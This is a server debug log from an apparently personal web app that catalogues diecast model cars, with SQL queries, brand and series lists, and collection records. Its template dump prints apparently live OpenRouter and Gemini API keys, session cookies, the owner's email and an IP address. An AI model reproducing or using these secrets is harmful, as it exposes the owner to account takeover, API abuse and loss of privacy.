      overview_created: 0,
      diecast_images: [Array]
    }
  ]
}
2026-02-24T12:06:39.991Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-24T12:06:39.991Z server-connect:app Executing action step select
2026-02-24T12:06:39.991Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-24T12:06:39.991Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-24T12:06:55.705Z server-connect:router Serving templateView /diecast-worksheet
2026-02-24T12:06:55.706Z server-connect:app Executing action step identify
2026-02-24T12:06:55.706Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:55.706Z server-connect:output identity: 1
2026-02-24T12:06:55.707Z server-connect:app Executing action step restrict
2026-02-24T12:06:55.707Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:06:55.707Z server-connect:output restrict: undefined
2026-02-24T12:06:55.707Z server-connect:router Render template layouts/main
2026-02-24T12:06:55.708Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14e08-Q4zpHy5c6maHNHgkHz0rUeUZBAk"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:01:39.296Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast-worksheet',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast-worksheet',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14e08-Q4zpHy5c6maHNHgkHz0rUeUZBAk"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AZ37R8lJUqCjvWfwgWKguBQ%3D%3D.xch4TbbLP0mgsLADwSRkwo5nVUjsr8xGzCra34BoVcb9OGmQGaTUcuRYhNUgpfhRovPPEDxDP5%2BzvEe1zT1gE%2BeXv3v%2BTKi%2FCeDjEarRhWcP%2FkS4HqcCHxqbqsjvlTY6Cxq4NwTi1QHPCu%2F5%2FUf%2F0Plt%2FFg1l1%2FAVpgLfTs8PUE%3D.P2J5aas5FtIg4ktq%2FNsRRdzHZ%2F7rLPBonuaV7YwxmGA; your_r_git.sid=s%3AmLN9Mt1EyrQ6PJ19RJWaLXBEwC1pBjUl.UUgUkewUMSed2UUj8ji7%2Fip2mvX%2BJ%2B9ZC1O%2FMmrbjBY',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/diecast-worksheet'
}
2026-02-24T12:06:56.240Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:06:56.241Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:06:56.241Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:06:56.242Z server-connect:app Executing action step identify
2026-02-24T12:06:56.242Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:56.242Z server-connect:output identity: 1
2026-02-24T12:06:56.242Z server-connect:app Executing action step restrict
2026-02-24T12:06:56.242Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:56.243Z server-connect:app Executing action step identify
2026-02-24T12:06:56.243Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:56.243Z server-connect:output identity: 1
2026-02-24T12:06:56.243Z server-connect:app Executing action step restrict
2026-02-24T12:06:56.243Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:56.244Z server-connect:output restrict: undefined
2026-02-24T12:06:56.244Z server-connect:app Executing action step select
2026-02-24T12:06:56.244Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:06:56.245Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-24T12:06:56.245Z server-connect:app Executing action step identify
2026-02-24T12:06:56.245Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:56.245Z server-connect:output identity: 1
2026-02-24T12:06:56.245Z server-connect:app Executing action step restrict
2026-02-24T12:06:56.245Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:56.245Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-24T12:06:56.246Z server-connect:output restrict: undefined
2026-02-24T12:06:56.246Z server-connect:app Executing action step single
2026-02-24T12:06:56.246Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:06:56.247Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:06:56.248Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:06:56.248Z server-connect:output restrict: undefined
2026-02-24T12:06:56.248Z server-connect:app Executing action step select
2026-02-24T12:06:56.248Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-24T12:06:56.249Z server-connect:app Executing action step identify
2026-02-24T12:06:56.250Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:56.250Z server-connect:output identity: 1
2026-02-24T12:06:56.250Z server-connect:app Executing action step restrict
2026-02-24T12:06:56.250Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:56.251Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-24T12:06:56.252Z server-connect:output restrict: undefined
2026-02-24T12:06:56.252Z server-connect:app Executing action step paged
2026-02-24T12:06:56.252Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object], [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition`, `diecast_cars`.`yt_short_created`, `diecast_cars`.`yt_video_created`, `diecast_cars`.`photoshoot`, `diecast_cars`.`overview_created` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) and (`diecast_cars`.`yt_short_created` = ?) and (`diecast_cars`.`yt_video_created` = ?) and (`diecast_cars`.`photoshoot` = ?) and (`diecast_cars`.`overview_created` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-24T12:06:56.253Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-24T12:06:56.254Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-24T12:06:56.254Z server-connect:app Executing action step identify
2026-02-24T12:06:56.254Z server-connect:app options: { provider: 'security' }
2026-02-24T12:06:56.254Z server-connect:output identity: 1
2026-02-24T12:06:56.254Z server-connect:app Executing action step restrict
2026-02-24T12:06:56.254Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:06:56.256Z server-connect:output restrict: undefined
2026-02-24T12:06:56.256Z server-connect:app Executing action step select
2026-02-24T12:06:56.256Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:06:56.257Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 167,
  page: {
    offset: { first: 0, prev: 0, next: 25, last: 150 },
    current: 1,
    total: 7
  },
  data: [
    {
      id: 190,
      model_name: '2021 Lexus LC 500',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Lexus',
      vehicle_brand_id: 197,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 189,
      model_name: 'Porsche 911 Targa',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-02-08T18:30:00.000Z',
      price: '179.00',
      brand: 'Matchbox',
      series: 'Mainline',
      brand_id: 73,
      series_id: 75,
      case: 'D',
      vehicle_brand_name: 'Porsche',
      vehicle_brand_id: 130,
      condition: '',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 188,
      model_name: 'Ford Bronco',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 187,
      model_name: 'Ford F-150 Raptor',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '399.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 186,
      model_name: 'Alfa Romeo Tonale',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 185,
      model_name: 'Volkswagen ID Buzz Cargo',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-16T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Volkswagen',
      vehicle_brand_id: 111,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 184,
      model_name: 'Datsun 240Z',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Datsun',
      vehicle_brand_id: 186,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 183,
      model_name: 'Alpine A110 R',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-12-23T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Alpine',
      vehicle_brand_id: 196,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 182,
      model_name: 'Audi Q4 e-tron',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '350.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Audi',
      vehicle_brand_id: 132,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 181,
      model_name: 'Renault Master',
      release_year: 2026,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '179.00',
      brand: 'Majorette',
      series: 'Mainline',
      brand_id: 72,
      series_id: 75,
      case: '',
      vehicle_brand_name: 'Renault',
      vehicle_brand_id: 109,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 180,
      model_name: 'Mercedes-Benz G 500',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 179,
      model_name: 'Mercedes-Benz 190 E 2.5-16 EVO II',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 178,
      model_name: 'Land Rover Defender 90',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Land Rover',
      vehicle_brand_id: 117,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 177,
      model_name: 'Ford Bronco Wildtrak',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 176,
      model_name: 'Ford Mustang Fastback',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-29T18:30:00.000Z',
      price: '340.00',
      brand: 'Majorette',
      series: 'Majorette Castheads Gift Set',
      brand_id: 72,
      series_id: 195,
      case: '',
      vehicle_brand_name: 'Ford',
      vehicle_brand_id: 108,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 175,
      model_name: 'Mercedes-AMG CLE 53 ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 174,
      model_name: 'Mercedes-AMG GLC 63 S',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 173,
      model_name: 'Mercedes-AMG A 35',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 172,
      model_name: 'Mercedes-AMG SL 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Mercedes AMG Gift Set',
      brand_id: 72,
      series_id: 194,
      case: '',
      vehicle_brand_name: 'Mercedes',
      vehicle_brand_id: 113,
      condition: 'Carded',
      yt_short_created: 0,
      yt_video_created: 0,
      photoshoot: 0,
      overview_created: 0,
      diecast_images: [Array]
    },
    {
      id: 171,
      model_name: 'Mercedes-AMG GT 63',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2026-01-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
